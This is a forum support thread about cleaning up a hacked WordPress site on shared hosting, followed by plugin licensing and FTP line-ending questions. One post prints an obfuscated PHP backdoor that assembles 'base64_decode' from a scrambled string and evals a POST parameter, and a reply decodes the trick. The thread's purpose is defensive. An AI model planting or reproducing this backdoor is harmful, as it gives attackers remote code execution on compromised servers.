Looks troublesome, see here:
http://stackoverflow.com/questions/5922762/eval-base64-decode-php-virus
http://stackoverflow.com/questions/4245594/security-breach-php-evalbase64-decode
https://wordpress.org/support/topic/nasty-code-hacks-onto-your-domain-fix-included?replies=2
It’s good to see Wordfence doing it’s job though š
If you think the site is hacked, check here:
http://codex.wordpress.org/FAQ_My_site_was_hacked
If you’re lucky, this might just be some malicious code sitting in those files that hasn’t been executed yet. You could obtain an earlier backup, or perform a new backup, then remove the files and related plugin/theme and see if the issue goes away for good.
Another thing I should mention is that all of these files contain ONLY the line of code. Nothing else. I searched the database for the strings that are in the “post” line and for anything that could be loading and I don’t see anything.
Okay, I found more files with the same lines in them and I found about 3 files in odd locations with the following code in them:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n95e668'];if(isset($s22)){eval($s21($s22));}?>
That last string is similar to the other two, but it is more easily hidden — all are definitely bad and would let the attacker back into your site.
I’d remove those as soon as you can (or move them to somewhere else safe), and then follow the good instructions above!
That’s clever, they’ve hidden the fact that they are using base64_decode by putting all the letters into a randomized string and pulling them out in the correct order again. Since scanners can easily detect and red flag base64_decode, they’ve done this to hide it’s usage in an attempt to go undetected:
$sF[4] = B
$sF[5] = A
$sF[9] = S
$sF[10] = E
$sF[6] = 6
$sF[3] = 4
$sF[11] = _
$sF[8] = D
$sF[10] = E
$sF[1] = C
$sF[7] = O
$sF[8] = D
$sF[10] = E
I suggest following the instructions that WFSupport and I posted earlier. This is some nasty stuff you don’t want hanging around in WordPress.
Agreed with Hectavex. The sooner the better!
tim
So… after many hours of searching through files, I found that the files were spread through all the folders of all websites on the server that is a shared environment from Godaddy. I removed or repaired all the files. Then ran Wordfence on all the wordpress sites. It now shows all of the sites clean.
Tim, I purchased 6 licenses — 3 in the first batch, 3 in the second, and was going about putting them in when I had been timed out of the wordfence login. So, I went to log in again and couldn’t. In my exhaustion, I don’t remember the password I used or even if I set one. I put in the email in “forgot” and I don’t receive any email to reset it. I sent you an email about this Thursday and didn’t receive a response.
I can’t log in to get my other 4 keys to finish the other sites.
I am liking WordFence. But, I am seeing some “connection reset” issues. I don’t know if they are something on the server or something Wordfence is doing. I don’t remember getting those errors before, but that doesn’t mean I wasn’t.
We were doing some server maintenance around that time to fix an issue with our mail server. The result was that password reminder emails weren’t being sent out. Can you try again and let me know that you can get in and that he server reset messages are gone
Thanks
Tim
OK. Was able to get in. One more question, please.
I have checked and double-checked these wordpress sites on this server I had the problem on. I have used several external scanners like Sucuri and I have Wordfence scanned them. During my repair, I FTP’d the newest WordPress 4.0 zip contents to every wordpress install to make sure the core files were original.
In trying to be thorough, I have been looking at files and locations exploits use. I noticed something which might explain some issues I’ve had with file comparisons. But, I didn’t notice the pattern until this morning. I don’t know if it’s a program glitch or an exploit of some kind.
I noticed that the original wordpress file /includes/wp-db.php and the same file in the suspected hacked site folders on my computer are 2k difference in size. I checked the FTP server location against the original WordPress file and the files are the same size. If I download the wp-db.php file again, it also changes to 2k difference in size.
In comparing the files, any file I download from the FTP server compares identical via “text” or “ascii” compare. They show the same way in my text editor, too. But, CRC or Binary compare show them as different. In HEX compare view, there is an extra 0D or . character as the first character on every line.
If I upload the original wordpress file and immediately download it back to my computer, this change happens. Any ideas?
The files changing is something FileZilla is doing. I FTP’d the files via webbrowser and via the file manager at Godaddy and they don’t change.
I’m not sure that would be a big enough change to do anything but it is interesting to note.
Something I wanted you to clarify, is the shared hosting all your sites at godaddy, or yours and other godaddy customers?
If so, godaddy might need to move you to another server so the cross contamination stops affecting you. I would think that’s not the case but I wanted to make sure.
tim
:LOL you were faster than I was š
It’s shared with other customers. I suspected cross contamination because I couldn’t find a site at first that appeared to be actively infected; AND because I noticed some server issues around the time of these files being written. When I called them about the connection issues, they stated that they were having issues with the server. But, it’s possible that one of my sites were actively infected. The part that made me think not was that the random files it appeared to want to load were not present anywhere in my hosting accounts.
The FileZilla issue (changing ascii files and playing havoc with my comparison utilities) was apparently caused during an update in which the setting for doing all transfers binary was switched to “auto”. I always treated all files as binary. It makes for easier comparisons of text files.
